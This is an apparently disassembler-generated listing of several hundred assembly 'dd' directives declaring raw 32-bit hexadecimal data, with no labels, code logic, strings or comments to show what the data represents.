dd 680B4B1Eh, 0C252903Ah, 0D358B800h, 8A0A867Ah, 0DCC4283Fh
dd 0D53E00ECh, 0C375E82Dh, 8D00BF1Dh, 0A9865589h, 0F6A59AEEh
dd 8AF4028Eh, 0FF60238Bh, 89E3D090h, 0F63E2898h, 80A8255h
dd 60567CEDh, 0C0BB4Dh, 7B1F498h, 0C6BCC968h, 46A9CB00h
dd 21A2E8D9h, 0C1C0E744h, 0F8062617h, 0D86836Ch, 0A3D0A996h
dd 73048174h, 379A56BFh, 7EF0C1C7h, 0EBD6F8h, 2BA7318Eh
dd 946E8A76h, 0D4007478h, 3524663Fh, 27D0D17h, 461CBD02h
dd 42405F52h, 0D7F26C77h, 0D51621FEh, 7202DF25h, 40AEE41Fh
dd 7EBB418h, 7E0FF241h, 0C37AF05Dh, 0DA007FBEh, 2ED26011h
dd 155CB6Fh, 0CEEF59DCh, 9DCFFC30h, 0A480777Eh, 3B0FBDF1h
dd 43210288h, 5F6BFD48h, 0B8E41840h, 82B3B221h, 0D3E62624h
dd 0FFA10C60h, 2F005F7Eh, 0DF233E88h, 12EAA61h, 6B9ACC59h
dd 0C8FB7282h, 994CA0B1h, 0F05201C6h, 30E0336Eh, 0A97AE040h
dd 2F6600E6h, 0AF03ECFCh, 2400614Ch, 0F2AAEEA4h, 1F09D055h
dd 80E25FDFh, 0D8706EA8h, 3300D77Bh, 0E1568B6Bh, 2793B47h
dd 876ADA7Dh, 75743Eh, 55316CF3h, 17120021h, 4AF758E4h
dd 0B109103Fh, 0F2C62BEh, 80F5A010h, 52E38Ah, 8E03A993h
dd 2E734BFDh, 5EE7A400h, 0A318C63Ah, 1C2A1407h, 7C00B8D9h
dd 0D6CAB9B2h, 0F7009526h, 17F68B42h, 79D918A2h, 23781EAAh
dd 678000CDh, 0CE85F9A6h, 0FE5C4600h, 45B91CA9h, 18F3000Eh
dd 0CC809BAAh, 40826503h, 58B48A7Ch, 0AF041F1Eh, 822B96CAh
dd 5840676Dh, 4D07F0C8h, 6312D369h, 457422B0h, 2187EFD8h
dd 0B0C579DFh, 2CE357A4h, 90EC410Bh, 823802FFh, 6670E1BAh
dd 0EEDDC1C9h, 383E37F4h, 0B0773A6Ch, 81B0218h, 0E64F5BCBh
dd 7DAD2A60h, 4B1448h, 6F7CAB59h, 0D64A80h, 0A7CE9124h
dd 0D1714D8Ah, 9B2CFC00h, 318D492Eh, 3B8B0193h, 0F94EA305h
dd 6608708Ah, 2C1C1626h, 3CA15F40h, 2E98CF2Ah, 26A5A8A0h
dd 2000C5A7h, 0A36213EBh, 79A845Dh, 2F82F5E5h, 8C400FBDh
dd 0B37EF603h, 48EE5C00h, 0D3BFC15Eh, 8F132689h, 1CF00054h
dd 3F7F497Ch, 799BA301h, 8DA0DE88h, 0C7172180h, 0AD270BB3h
dd 49CA650Fh, 28E0C731h, 0EBC18872h, 6C4CE834h, 0D33406C6h
dd 1995479Dh, 6971ED1Dh, 8111AD58h, 7FD60040h, 722703E7h
dd 520C5DA5h, 20D8C857h
dd 0DF9703A2h, 0DD8BAE9Ah, 932D76A0h, 6153D00Eh, 89EC0D3h
dd 7A091A06h, 5EF02CC8h, 50C900F0h, 0AF2CDF66h, 3A74425Ch
dd 62AE0634h, 4C585EB4h, 0F8073B5Ah, 90013730h, 7A96198Ch
dd 202BC430h, 0F03DD8DAh, 81B800AFh, 22D1AC18h, 0D92E0169h
dd 2042283Ah, 2790005Fh, 0E406B757h, 82D7626Fh, 0B2D0089h
dd 0D36C407Dh, 0A633C5C8h, 0D0856122h, 0EE521Dh, 1F42F4FDh
dd 0E1B2667Bh, 0E8006377h, 0D639C9F7h, 94F0E0h, 0AD8D5403h
dd 534F1C73h, 500F49Ah, 369117B5h, 0BA2A447h, 0B9AA7213h
dd 0FBAB3820h, 0E701B508h, 307C6999h, 5434F0DBh, 0F2B90B43h
dd 448087AFh, 0C5D72096h, 74A9AE01h, 402B56F3h, 346A3E4h
dd 49F89161h, 25F86C2Ah, 2F097DA8h, 2B3CE1h, 611857DCh
dd 0EB603C8h, 788B3EF8h, 0B7FBE090h, 196F7E00h, 0ED8550B2h
dd 738D5CFAh, 83365500h, 95E3B6CDh, 0E8324100h, 0C194C057h
dd 4D0802E4h, 2DA044F1h, 0CB6411E0h, 72007479h, 95942F17h
dd 23E184h, 73E51966h, 3CEEB20Ah, 7D28A100h, 1A4C57ECh
dd 0C1C503F4h, 0A64AC946h, 27621290h, 2C387400h, 5C0497FDh
dd 0D1D500C7h, 52F0EE9Fh, 348FA91h, 0B7170743h, 0C380DC8Ah
dd 984269h, 0E47FD278h, 0FD3238E8h, 640309B8h, 26E3A1E2h
dd 0C98800F2h, 79BF59F9h, 4C905BACh, 0E18A9A00h, 0DFCD36D0h
dd 62920043h, 3DA734CCh, 290156B2h, 0BE230560h, 70E8F265h
dd 0A2A009Bh, 0DFCFB04Dh, 51E1874h, 1F9F50F6h, 930FB9D6h
dd 437160A6h, 3684DEh, 0EAD65A62h, 0F6EFB185h, 0A8E39113h
dd 783C49h, 3F4CDD7Ch, 0E89A0075h, 1CD36A6Dh, 1D7EC985h
dd 0CFA51700h, 0BB0D79E3h, 3F38009Ch, 51D02001h, 0E7E48191h
dd 0D4FCAF75h, 0BA33CA01h, 460A8337h, 0CF51C7C4h, 0D840B329h
dd 3D05116Ch, 9D317300h, 49323628h, 0ADF82216h, 0BDB7E700h
dd 57BA976Dh, 0B9766Fh, 99F2B349h, 44C50365h, 700DC9Ah
dd 0E127B61Ch, 131787Ah, 0D83C64E0h, 2051A0A5h, 6B00D9ACh
dd 0CFE9959Bh, 63A18Fh, 96865072h, 2E9829DCh, 56820E17h
dd 13618D00h, 3BFDC6BAh, 0AC8084AAh, 8658F6A4h, 8504B65Fh
dd 0C7937B32h, 33488B0h, 0E9248AB0h, 70EFDEA7h, 694647C8h
dd 53BB2D00h, 0D8F04929h, 5F9400F6h, 0EA5D0AFBh, 4F0B8819h
dd 300118h, 8AE943E0h, 0A85400B1h, 0BF94F2E5h, 0FF0063B3h
dd 6B9B8B2Fh, 73346450h, 7A6C0009h, 4652730Dh, 80003A54h
dd 1DE45860h, 780A7413h, 0BDC61FDAh, 712804Eh, 3845EE5Bh
dd 0B3EA1F00h, 0BFF2EDFFh, 4061EFC1h, 70BF3FCh, 349F939Ch
dd 543DF0F7h, 19004C58h, 41B0BBEBh, 0E64168Ah, 0CAE80ED1h
dd 3B48B160h, 6D2CDBE7h, 0D4004889h, 0E345FBCBh, 41BA2C8Fh
dd 56260240h, 3C1C1955h, 0DC8328D1h, 0F15EB26Dh, 0ABA3D800h
dd 0FA1F6190h, 627E004Dh, 0E72501ADh, 32047A27h, 0E49AFB66h
dd 7815C0B0h, 5F10004Fh, 56AB60B2h, 0AD1DC909h, 8E400E49h
dd 28E298E1h, 0E8E4607Ch, 0A6EB7095h, 250024FCh, 141F1BAh
dd 0E23A450h, 118771CEh, 0A8A0C58Bh, 0AA1275Ah, 0F211C660h
dd 67BF2BB0h, 0E0BBC028h, 0FDE2217Bh, 84B8A377h, 80C77C3Bh
dd 9C14B709h, 0E695C5h, 0EACBE976h, 0BF462FD1h, 2CAB20C0h
dd 0CE6B4814h, 22F7458h, 9112F4Ch, 13289100h, 10A6FAB5h
dd 1D6F00EDh, 254027D8h, 8A0072D1h, 39C48992h, 0CE55B9BCh
dd 0E8800639h, 0FB2CD8E7h, 0FF00F4B8h, 0DCE7FBFh, 0E0F9DBh
dd 0AF974687h, 4D80F058h, 1BAEE200h, 0B9B8EB2Ch, 7C8E00B6h
dd 0AD16AF5Bh, 0ECE935C5h, 0D006619h, 0FD15FEC4h, 309AA0C0h
dd 0C2600818h, 4E4E3E02h, 5AA15800h, 30788C60h, 4820C8F2h
dd 197D5FC5h, 6A54EF00h, 0A88E11D6h, 0A6E6C0h, 2ED3B34Eh
dd 0E5D2F82Ah, 646FC00h, 0DF95E983h, 58B20Bh, 75E1EEC7h
dd 2EADF7C9h, 918E3C00h, 33691A5Fh, 5C9F58A9h, 0CF900271h
dd 0E5A6F25Dh, 1109D380h, 36029C0Fh, 182E17EFh, 0AA70E043h
dd 6AA00492h, 0C783CE32h, 49F2610Ch, 0DD3960B4h, 44566300h
dd 0EA48D95Bh, 39206BC6h, 73CAE400h, 0EF3812B7h, 0D92DFDh
dd 50B9E844h, 3DD000D6h, 5AE04E13h, 0E3095571h, 0E09F0B90h
dd 0F62E583Ch, 47FA0B56h, 0EC258D35h, 47941305h, 0F0ABACECh
dd 0F7713AB7h, 0F09E4100h, 4BCFE49Fh, 0C28C004h, 32C2D1DBh
dd 7110C560h, 3CDD0DC1h, 0DF00B519h, 0C29E1718h, 359841A8h
dd 8B359828h, 0E0F88000h, 0EBB3DAF7h, 0D68D06BEh, 497AAEFDh
dd 0EC52CE0Ah, 7E00F868h, 7D456FA6h, 84C009DAh, 8C40B3A8h
dd 7F1F9EF2h, 649C4DFDh, 44F0AE40h, 1B41609h, 1E70CF9h
dd 0E98067EEh, 7D588306h, 0D9434594h, 0D44091A5h, 5D55FAFh
dd 81D69D7Ch, 1EC0122Ch, 266D46BCh, 5200102Dh, 850914BDh
dd 3906E9DCh, 0AD8083F5h, 0E56F783Dh, 0E63B4A62h, 0FE08804Bh
dd 534993C5h, 6560C096h, 12C8EE3Ch, 0BFD73E01h, 0BAC3172Bh
dd 26D1830h, 298A7A4Bh, 862E602h, 0CD88A100h, 0EB4937A4h
dd 7E6700ECh, 0BFAACA3Dh, 1595038Dh, 0A125CB1Bh, 0A030BDD8h
dd 2FE4E700h, 74368C0Fh, 0C74D1758h, 89D00371h, 0F4907638h
dd 801C0372h, 2A537922h, 92A2C880h, 3024138Fh, 834C02F3h
dd 0F702E58Eh, 0CEFF6077h, 0DCCA004Ch, 71120BF5h, 79F4953Fh
dd 38F07548h, 0F9EA8036h, 91F1676Bh, 964A0033h, 89698CD6h
dd 36000C13h, 0E3043551h, 77EC35Dh, 0B76D270h, 84F49321h
dd 0E88048C6h, 910B7BCFh, 1862C4D6h, 3B2F314h, 0DB98711Ah
dd 80948E84h, 0C1480104h, 0BE08FB00h, 0A422E537h, 43790029h
dd 215E6CB9h, 0B4007B24h, 71A1E8D0h, 2FACE7h, 0BA01B880h
dd 8A4FC182h, 0C7FC1170h, 293A7C92h, 38620B2h, 7047156Ah
dd 93E06014h, 200065B4h, 1F88DF25h, 9CD61C03h, 0A8917700h
dd 0C77D1C80h, 0E0FB2A1h, 0A0446D06h, 0E3E26684h, 3CEF0005h
dd 539621A2h, 0A39BC97h, 16B2072Eh, 212DF24h, 4900407Ah
dd 40C25B77h, 37239080h, 3E3D7803h, 9272BBC8h, 180064C1h
dd 4189263h, 753424A0h, 0FEA5006Eh, 0AC030B3h, 0CCBB0102h
dd 40DA8B4Ah, 0F9CF018h, 0CF533281h, 65B4C0F6h, 361ED16Ch
dd 0C783798Dh, 0B0641463h, 901DADE4h, 27420068h, 85E30F54h
dd 0EF13519Ch, 0E0076C47h, 0B4D0831Eh, 0C35CB024h, 0DD2D2290h
dd 890997C0h, 480708F0h, 907BAB95h, 0D89580C4h, 137C5500h
dd 4C8D4177h, 6324DDE3h, 27F803A7h, 6DC01073h, 3000A939h
dd 0DAEBBC09h, 2D8F475Ch, 2800148Dh, 0E6D57246h, 0A301E279h
dd 0D09B73B3h, 0D980588Ch, 0F27726E9h, 0E2009545h, 41EB2164h
dd 3C1482C3h, 5F801297h, 0EC807301h, 6E3D7804h, 0C9D600D8h
dd 0A7E5C87Ah, 48252498h, 8EE91CBCh, 4E4086C3h, 0B24430A3h
dd 0EB59770Eh, 49E2616Ch, 0A4484CF4h, 0A48726C5h, 8B99003Ch
dd 47912EAh, 0A2FE3400h, 0DF9DF90h, 275B009Fh, 31521B56h
dd 0BD00D048h, 0EAD2D570h, 4F835h, 14980D4Bh, 61B9D6D9h
dd 0A8EEE51Fh, 115EC5C0h, 1A2864h, 0EF8ACAA7h, 0C3E573CEh
dd 0F2FA9500h, 2655AF1Eh, 1B3600EDh, 52624AC6h, 0DD1F88B4h
dd 0D78EBE1Ah, 918F80E6h, 0FFDA9D5h, 0DEA1BD11h, 7EA0E5AFh
dd 24DC9D8Ah, 0C40087ECh, 0A0A47F41h, 480AEEF5h, 6F15A206h
dd 7E00B413h, 5FD3CAC7h, 0E4B19E76h, 3566FF00h, 0F67219Ah
dd 6C379953h, 30228E20h, 0E00935Dh, 0F1CC4C32h, 70C04039h
dd 0BF5900EDh, 5EB3649Bh
dd 0FE2C5355h, 8504E088h, 74D0BC4Bh, 16DECCDh, 7689A603h
dd 807F44E2h, 0DE802D18h, 28CE2EB3h, 281842CBh, 7241655h
dd 41DD8D95h, 4DDC50B3h, 8B006537h, 2CAE79E8h, 7808DED0h
dd 66D9C57Eh, 0E1FCF1E6h, 0BD708001h, 263CD9C3h, 888EBF9Dh
dd 9018830Ah, 0F60386BFh, 0A5F73AA0h, 0A2017A05h, 0FF440AEAh
dd 7BE9014h, 0C2388361h, 791A4260h, 0DAA0009Fh, 936BFC2Ch
dd 0B900F782h, 817E151Ch, 4CEADFh, 0B7024183h, 403D4568h
dd 887F9100h, 786F3401h, 47420019h, 52670C2Fh, 0ED076813h
dd 6951663Ah, 0A2E96510h, 3C5317E1h, 472B0006h, 2118C6FDh
dd 1600ECB8h, 20F5BA6Ah, 7B6564Dh, 0ACF44835h, 3C7E2001h
dd 54E4F685h, 0D4611915h, 23F401B4h, 8F9C7514h, 0E342FCh
dd 0FF0C4434h, 55498DB4h, 0DB6E2517h, 739A7800h, 0B8390E38h
dd 3D7514D0h, 0D70024FDh, 0FFE9D920h, 954612h, 0AB41BEC4h
dd 60150008h, 8934936Ah, 0C9014570h, 0CB032CA7h, 92F48D4Dh
dd 252F3096h, 24177310h, 0EA8ED315h, 0CD748D0h, 201DE2F0h
dd 9D060064h, 0D120D8DBh, 4506BEF7h, 0EEB9B38Eh, 0BF500131h
dd 0FA9E14DDh, 0B0DAE8D8h, 80FB5F3Fh, 66D35881h, 6996F9Ch
dd 0D8C184F8h, 0E50A396Eh, 68D556CBh, 0E8376A0Dh, 7CC01CF1h
dd 581F1850h, 86F021DCh, 0ADCD1707h, 3150033Bh, 0F8C624h
dd 4A745220h, 0E44B2D0Eh, 0BE1E5600h, 0CD668D49h, 877B89h
dd 0B7B169E1h, 4078AC7h, 128E130Eh, 7DBC834Eh, 4114310h
dd 0CE9167A0h, 88AD10C0h, 139A2CAh, 6FC01DF2h, 0FC697D90h
dd 8200EAD6h, 234B0C2Dh, 0FFEFAh, 786144CFh, 0DA1492F0h
dd 27034000h, 4651DC38h, 0FE050FECh, 4240212Ah, 806487A9h
dd 6C413900h, 0A3697040h, 295800E6h, 26F10E88h, 23079ABFh
dd 8F73A57Dh, 44838AB0h, 2C02E63Fh, 34B77E0h, 527DB75Bh
dd 0AD284101h, 0EAAB781Fh, 7AA2F8h, 0DA02991Ah, 8C247945h
dd 422EC0F8h, 0DD0072EDh, 2F1AC129h, 8EE50050h, 0B3FAF881h
dd 9D7557D0h, 89139500h, 93676315h, 0B7760042h, 7308C2A8h
dd 6A001781h, 15C3EDD1h, 3950Ch, 79F86441h, 60A8EAF3h
dd 0A600F474h, 0CC9D7D76h, 0E5E8D78h, 0CBED670Bh, 50F845E7h
dd 0DEA3174Fh, 0F86EF5A1h, 0D300F0BFh, 0B5112671h, 1236089Ch
dd 18C853D6h, 0D0BC31CAh, 73DA4E00h, 25F35CFDh, 0D81150A3h
dd 7A2B001Ah, 608340B0h, 4874C603h, 1D574Ch, 0EB91C88Ah
dd 0D2149Bh, 4DA041E0h, 0D977341Ch, 0BDCB751Fh, 0B53DD440h
dd 0E7957Ah, 0E5FACA1Ah, 4A8FF853h, 0CF4E9E00h, 1DF3E0C8h
dd 189212h, 568CE42Eh, 43B9DE46h, 0B8D73D00h, 0DABD166Eh
dd 256A0092h, 4479ABAFh, 0F614B3DFh, 90E6F8h, 0D6E88D57h
dd 3905F235h, 36008F79h, 1B93243Bh, 4C2877ADh, 4203ECDFh
dd 804E967Bh, 0D36ED037h, 9011008Ch, 990E54E4h, 0D900CE44h
dd 0F398EA21h, 0A87D8h, 3388C10Dh, 0D3E7D777h, 7DF6C23Ch
dd 0E663D500h, 75E223A3h, 0DE8B0016h, 0C4D3935Eh, 3612B06Fh
dd 840613EDh, 7B7181DCh, 72700097h, 7F8B906Bh, 81B8F2D8h
dd 45FBA080h, 0CF2D1100h, 19AB078Eh, 50900EF7h, 6D805171h
dd 4E0FF604h, 8EE54A3Ch, 0E0073989h, 157DB31Ch, 0CB6D0443h
dd 8026B035h, 787E433h, 70564400h, 0A6310F06h, 609800B1h
dd 7874EDFAh, 0A300A0FEh, 8E1E773Eh, 0E97F5Ch, 0FAF3AC50h
dd 2F58DCA2h, 0BEDB8302h, 8803CB84h, 6403D4ACh, 8844BADDh
dd 1C163224h, 6A4ACF7Fh, 0BD42B4h, 0B78F3C35h, 57D8F6h
dd 0D15ABC58h, 0E81D9CEEh, 16C21400h, 92C3E6EAh, 379A0045h
dd 0CCECA3EFh, 0A500FBEEh, 8FCDD407h, 519F4E98h, 77ECDD99h
dd 45BC004Dh, 0B2562221h, 0EE502A80h, 0D5E05FA0h, 3005CF4h
dd 0D63C0DC1h, 0FA4A8D8Ah, 0E2873ADAh, 0CFA3D701h, 0F86746D4h
dd 8C031B2Bh, 0B1993B38h, 13E1008Fh, 0FE3E8053h, 0B0007904h
dd 0DA0B57CBh, 430F58h, 0AA2EC6D1h, 8C509A21h, 3D3AAC3Fh
dd 7A1B8067h, 6F3C4A2Ch, 0D2E307A8h, 7BA310h, 0D1A9F407h
dd 63033A1Dh, 870D9780h, 0E9C23h, 0F73F2AB2h, 0C3FEAAFCh
dd 0F1AE5900h, 0ED0688DDh, 0ADF92842h, 913F00ABh, 0F8E42394h
dd 18F678F1h, 0DA9C9E0Fh, 0F34A8099h, 877DEEh, 387B7744h
dd 60C562FDh, 0DCEA1900h, 298ED721h, 0B8862CE2h, 7F60011h
dd 6597FBBEh, 0D0F89060h, 719371Fh, 62982AEDh, 0BFA9108Ah
dd 8300AAF1h, 25BA05C2h, 12C63Ah, 0E52C21A1h, 5558752Eh
dd 0FC8B5728h, 3105F700h, 0BDEAAECFh, 0DC6105A8h, 114EF54h
dd 79F9AC84h, 4DE5D004h, 0F7524700h, 897862D7h, 6D714Ah
dd 0DA97A7AAh, 7C58FED0h, 5B6E2300h, 484F327Dh, 8433D4Ah
dd 82F43600h, 0A21B88B6h, 2A2DA601h, 0F04F09BCh, 963FCCh
dd 239EF250h, 0E3FEAE35h, 727838h, 954ADA92h, 3B0C9BDFh
dd 784D13DBh, 0ABFDB002h, 0A7C108EFh, 1E914032h, 0FCE785D2h
dd 75006E94h, 450AE388h, 0EB3BF1Dh, 477F974Fh, 0A6B07C20h
dd 58001968h, 6283254Dh, 0B6EC172h, 0AA9FAACh, 0F16BF080h
dd 380091BBh, 0E8972369h, 1AD0E99h, 0DD58C951h, 3074C796h
dd 0E10008F3h, 34A7431Dh, 9B41329h, 61F8249Ah, 0AE45020h
dd 0F0A644Eh, 0B4793415h, 7E27AF03h, 0A752C02Dh, 94A0078h
dd 0BA1526F3h, 0B600E006h, 836F89CEh, 90D43934h, 732E00FAh
dd 0A853511Bh, 0E700E0B1h, 0F72224CEh, 0C02793BDh, 0C0ED6958h
dd 8D03EFF6h, 0C1B99F23h, 0D1DD98F3h, 73A2001Eh, 163BA9A3h
dd 0D700185Fh, 0B9ECC323h, 1F0D94A4h, 0BF425Ch, 3A335B51h
dd 5E005D8Fh, 0CEFD2F31h, 58AE8159h, 0F1B01863h, 0AC00A29Fh
dd 887C221Ah, 0FCFA4565h, 4D05009Bh, 0BA39E7F5h, 8E1E3310h
dd 0BD5C5CF0h, 0E33B1A40h, 431B27h, 0CCE71DD4h, 0A8CA07D9h
dd 0B0D76707h, 83303A63h, 7E44579Ch, 1BB021h, 2C6FC342h
dd 3894BDAAh, 0F18ECE00h, 655217A8h, 0F28E240h, 0F9B61A42h
dd 3B5EA560h, 0C90E0492h, 0A94C5Ah, 0F14043B7h, 5EE3A005h
dd 185D603Dh, 59763AB2h, 0D6150300h, 0DB1A01AAh, 0D4E2013Eh
dd 4E5597E9h, 4026E052h, 330EBF16h, 3198FC01h, 32C46CB6h
dd 0F3B90013h, 0EFEB1D1Eh, 80E94752h, 0F89AC78Ch, 94119Bh
dd 0AD15604h, 3AE09160h, 0F930E90Fh, 63868E8Dh, 80662BB2h
dd 0B4FA57Eh, 0C60802C7h, 70BF4C27h, 3589E58Ch, 0DD0E4571h
dd 814755B9h, 0E24A32B8h, 0FFC3CFCh, 226AA6AEh, 37658BE0h
dd 9400AAB4h, 0BA5E734h, 0F6D7BF45h, 0DAC30069h, 8A655038h
dd 0ECB02572h, 782F493Bh, 8F78F719h, 82F93710h, 3321F3F1h
dd 8D8E8887h, 840D67E9h, 3EF5832Ch, 1DE759A0h, 0D8D1C00Fh
dd 2DAC8095h, 7C3B4357h, 0D480005Fh, 92AB36CCh, 33779E4Dh
dd 0DC90C900h, 0E8DDAE96h, 6D380032h, 0E1E0E991h, 47702428h
dd 12575818h, 61529260h, 78828126h, 0FC44752Bh, 4A1C9386h
dd 55C047F6h, 2C76365Bh, 63E7FC5Ah, 0A31230CDh, 9298C81Eh
dd 0A0919Eh, 0FB4A7567h, 3D14B235h, 0BB7EF800h, 1E0E5533h
dd 64F6037Fh, 128D0813h, 882EEC90h, 0BD6E1400h, 0DA0C3FA0h
dd 1D8401A2h, 0DAF80BBh, 35807EB2h, 67CCC4h, 0C56F9DFAh
dd 4291064Bh, 4EDA6E0Bh, 0A4DEEFh, 33CB6110h, 8E01B7B8h
dd 0C956ED8Fh, 0B18012EBh, 0C1F437C0h, 98840AB3h, 49B600ABh
dd 7D2CBFFh, 0E8C09B8Ch, 9280AAADh, 0C0D6E84Fh, 29B19340h
dd 52750FEEh, 5C3BAEFAh
dd 0D305802Bh, 0E90BCE84h, 8A0A828h, 671B3C15h, 4896100h
dd 0A360C381h, 3ED52200h, 360FF44Bh, 0C253E2Ah, 106C3C78h
dd 41F3AF07h, 0F2720B6h, 597721E6h, 0EF202900h, 90FAA8D6h
dd 91260067h, 1BBFD7DDh, 3F180815h, 9379174Dh, 0EAD61849h
dd 67521114h, 0CC4648h, 7806CA8h, 7C6B4159h, 0A4F300FAh
dd 0DA6A35ECh, 5500D547h, 0F5E1E680h, 81682Bh, 84403949h
dd 7A8DD8C7h, 0E6BDD700h, 685A97CCh, 311600FBh, 77AF5EFCh
dd 663E1D9Eh, 7A100059h, 0C8D64035h, 808B0F86h, 0A40736C7h
dd 0F5FBD043h, 1C181989h, 0A6088A02h, 0C420C0C8h, 3EA57A58h
dd 0EEFC344Eh, 0A7AC3D00h, 8F23E224h, 607B7931h, 15F05D49h
dd 36AF375Fh, 0B34380A1h, 11C02390h, 413FFB16h, 9F2706BCh
dd 8DFB5DCh, 0F521C861h, 0FED84413h, 770DF03Fh, 0AF600364h
dd 51859EBDh, 0ED106873h, 606433D5h, 3FFA60AEh, 0EFBC0856h
dd 1B44DF9Eh, 4412E440h, 0A87310B3h, 0C6ACF40Fh, 8EB8272Ah
dd 5D37BC60h, 0EB810047h, 35117C3Ch, 8A30FA59h, 754610FFh
dd 0CA4F0084h, 6C1B0BD2h, 180EF79Ch, 27C6A652h, 33E0F268h
dd 0AB5B46h, 4F7F6C6Fh, 616AA1E2h, 76678AA0h, 0DF31EB0Fh
dd 3D113A22h, 0FB98BF04h, 465B102Ah, 0F6EE3B00h, 0ADA58FBEh
dd 7052EC6Bh, 0CE510353h, 6FB1DFD5h, 0C2BDB8C0h, 1D0058EEh
dd 4CE57B63h, 952914h, 75BBB9DEh, 0E666D049h, 51A19701h
dd 72F240Ch, 791BF0h, 0C627BB38h, 0E7F0C5ACh, 2DB3EF00h
dd 5B3D4CD0h, 21950072h, 170B4DCAh, 1100BA58h, 0C7DD8115h
dd 0FCD0E76Ch, 0FDDB00AAh, 214E8246h, 2005FF9Ch, 0F74A1559h
dd 0E26511C0h, 6E7600C3h, 1FA65B05h, 21E5C532h, 0C9A800F0h
dd 860F6631h, 20676E9Ch, 0AFE5F76Ah, 0A2B8F6h, 4B78AC95h
dd 3F5816EBh, 3B00D37Eh, 53E0330Ch, 0E2F059Eh, 0B7A7B371h
dd 0E1622980h, 900FE74h, 0BF6530A0h, 39F0B5h, 3CF3D585h
dd 955E98A4h, 0CCF9B107h, 4B6003C3h, 0F75167Eh, 0E530FB5Fh
dd 0A2C48201h, 0F2C0E893h, 0BD778500h, 8837DB72h, 2CED01E9h
dd 0B2DAB65h, 0E135F882h, 74DADD00h, 603629C1h, 3A0D2A96h
dd 0A87DECh, 0C3571A56h, 819225F5h, 0F0D51900h, 16A9BF78h
dd 0CA7239AEh, 0F8603D7Fh, 29027D00h, 755ABA11h, 57407900h
dd 35E67B9Bh, 7D1F4842h, 9E1C5224h, 0D828099h, 5123F73Ch
dd 5069731Dh, 18496E00h, 7EA59385h, 90C0077Bh, 0B1F1A684h
dd 0F4461370h, 0EB00CACFh, 0EE0CAC74h, 0E50434h, 0CB6879A4h
dd 0D0F65067h, 7B38F500h, 596F584Fh, 0C0AE0090h, 8AABB2BAh
dd 0D750F096h, 0CA0036CCh, 4C79CC2h, 0E6FBDDh, 70513B4Eh
dd 4C77138Fh, 78249300h, 0EA64BB42h, 0D6850320h, 86DCBA43h
dd 80D80499h, 0E774A48h, 3A1782h, 0B79D9FF0h, 453E4CCDh
dd 180912EEh, 25135F81h, 5C00AA98h, 5208F411h, 631E3A7Fh
dd 9C3CFE81h, 0F0CCCF92h, 2001886h, 96194123h, 0BA9F88h
dd 52D1EB6h, 0EFD7C733h, 70D4CC00h, 0C1650ACh, 601076C6h
dd 2E32A8CFh, 9B0006E4h, 0C291288Ah, 78FD72Ch, 2B72AAC8h
dd 3B0D0312h, 937103D0h, 31CA3Ah, 1A642553h, 567E81h, 3B44614Ah
dd 2EA06BB2h, 415017FAh, 0F3319E0h, 0A00DF080h, 0CC3CF5h
dd 7FB5DAEFh, 0BF701BD0h, 15D6E500h, 13BCD375h, 0FF8F003Bh
dd 0A1CB4A2Ah, 95076FE0h, 75CF3EEDh, 879E6ED0h, 48B7F25h
dd 0DB4C3C7Eh, 0BC808136h, 5CC4C8FDh, 0ACA4C050h, 0F156744h
dd 4F21EF25h, 5C0AF480h, 9F07CDECh, 613065E4h, 3F87A920h
dd 26FE5844h, 0AEB55503h, 0DBD80289h, 5107FF3Eh, 9C600FD0h
dd 0DDB64950h, 5F7700D3h, 355BBB1Ah, 9F006C0Ah, 0B370A589h
dd 30B164D8h, 0A8306B7Eh, 8A387D5Dh, 0C09700B4h, 0DFD77F7Ah
dd 41A36013h, 8840EEC9h, 173B720Ch, 7D3980h, 0EA4E54A5h
dd 40F09852h, 19319361h, 61CC4ADEh, 0BCED1071h, 1137006Ch
dd 9A1CD70Dh, 0FB12003Ah, 0CDF5396Dh, 5F7E8C44h, 7F3EC500h
dd 0ED139DC9h, 414A00B9h, 42A763ECh, 26047088h, 0E0AB4D5Ch
dd 0A041EEBCh, 82930h, 0F214737Ah, 685E2FBCh, 0BA360A00h
dd 0DF1E0B83h, 81010059h, 787AE2DBh, 140341D0h, 3A7271Bh
dd 8B1AC81Eh, 2F8A0019h, 2802B8A6h, 38C0E731h, 0F0C73CCEh
dd 8E2B03EBh, 30A1C225h, 0C59905D0h, 2CE04554h, 0F3164A01h
dd 0E11AAE26h, 28BA52C0h, 0FC184Bh, 0FF7C06A3h, 9DA82584h
dd 2B74D51Dh, 28C22780h, 0EE6D37h, 0A9853DB2h, 6FDBF0F2h
dd 614C2B03h, 0B1A821E9h, 3D06871h, 30561E49h, 0A0862836h
dd 0F83F18D5h, 0D7DB003Ch, 8228C74h, 8FB075F7h, 84C4EA0Fh
dd 5980DCB8h, 982CFDE0h, 107D00CAh, 0C84099ECh, 6B0587E8h
dd 549F2508h, 0CC75A800h, 4D2AAAh, 49342B82h, 1F239A70h
dd 3E6F94Ch, 0DFF3FB51h, 7386D806h, 548E002Eh, 852BD782h
dd 0CA00EAC9h, 0DD84ED59h, 0BAAE1Ah, 2328AA5Bh, 0FFBE4E42h
dd 3ADA3100h, 77EBB276h, 278F00E8h, 0CE82C5DFh, 0C1E432B9h
dd 973B3A00h, 86D14062h, 7D740443h, 803F345Ah, 0E892B430h
dd 8084292Fh, 54738562h, 2AE600F8h, 3ED604E2h, 0D10016F1h
dd 0D9A00E58h, 186053h, 0EC0F86BCh, 492320B9h, 4D382C00h
dd 526430D7h, 8144066Bh, 70A6507Dh, 48DB1102h, 4069159Dh
dd 41C460h, 394F3121h, 12A8864Ah, 0D4807D00h, 6802FF1Bh
dd 0FEC2093Dh, 0CD84289Bh, 0EE1DC101h, 0DDAFC8EAh, 9C0030EEh
dd 2C8A8D4Ah, 7E5DF0h, 40AE93B7h, 6695983Dh, 5B277807h
dd 593047C8h, 38ADD55h, 0FD207BE8h, 14F0C15Dh, 22E41249h
dd 3D7CFC3Bh, 64DD00C9h, 93FBBAB6h, 67E01CCCh, 0B94A80D9h
dd 757A7451h, 0C4DF5400h, 5D52D27Eh, 4FD70B25h, 49001B3Eh
dd 29465A97h, 3D73E375h, 7B267178h, 351FBF7Ch, 0BCAB3100h
dd 5F91BAh, 48CCC40Bh, 0D1A6C6A1h, 0A0CE9EEh, 78C561F5h
dd 6F9F03A7h, 2CDEB9E1h, 38F7EDD8h, 0B063EE2Eh, 2E08680h
dd 0CF49Bh, 0F3F19544h, 0F5ED605Eh, 0BF004EF0h, 0BE4846FAh
dd 4A1603h, 8FECFD0Bh, 0BC172A08h, 0CBEEF200h, 0E8F8DBA4h
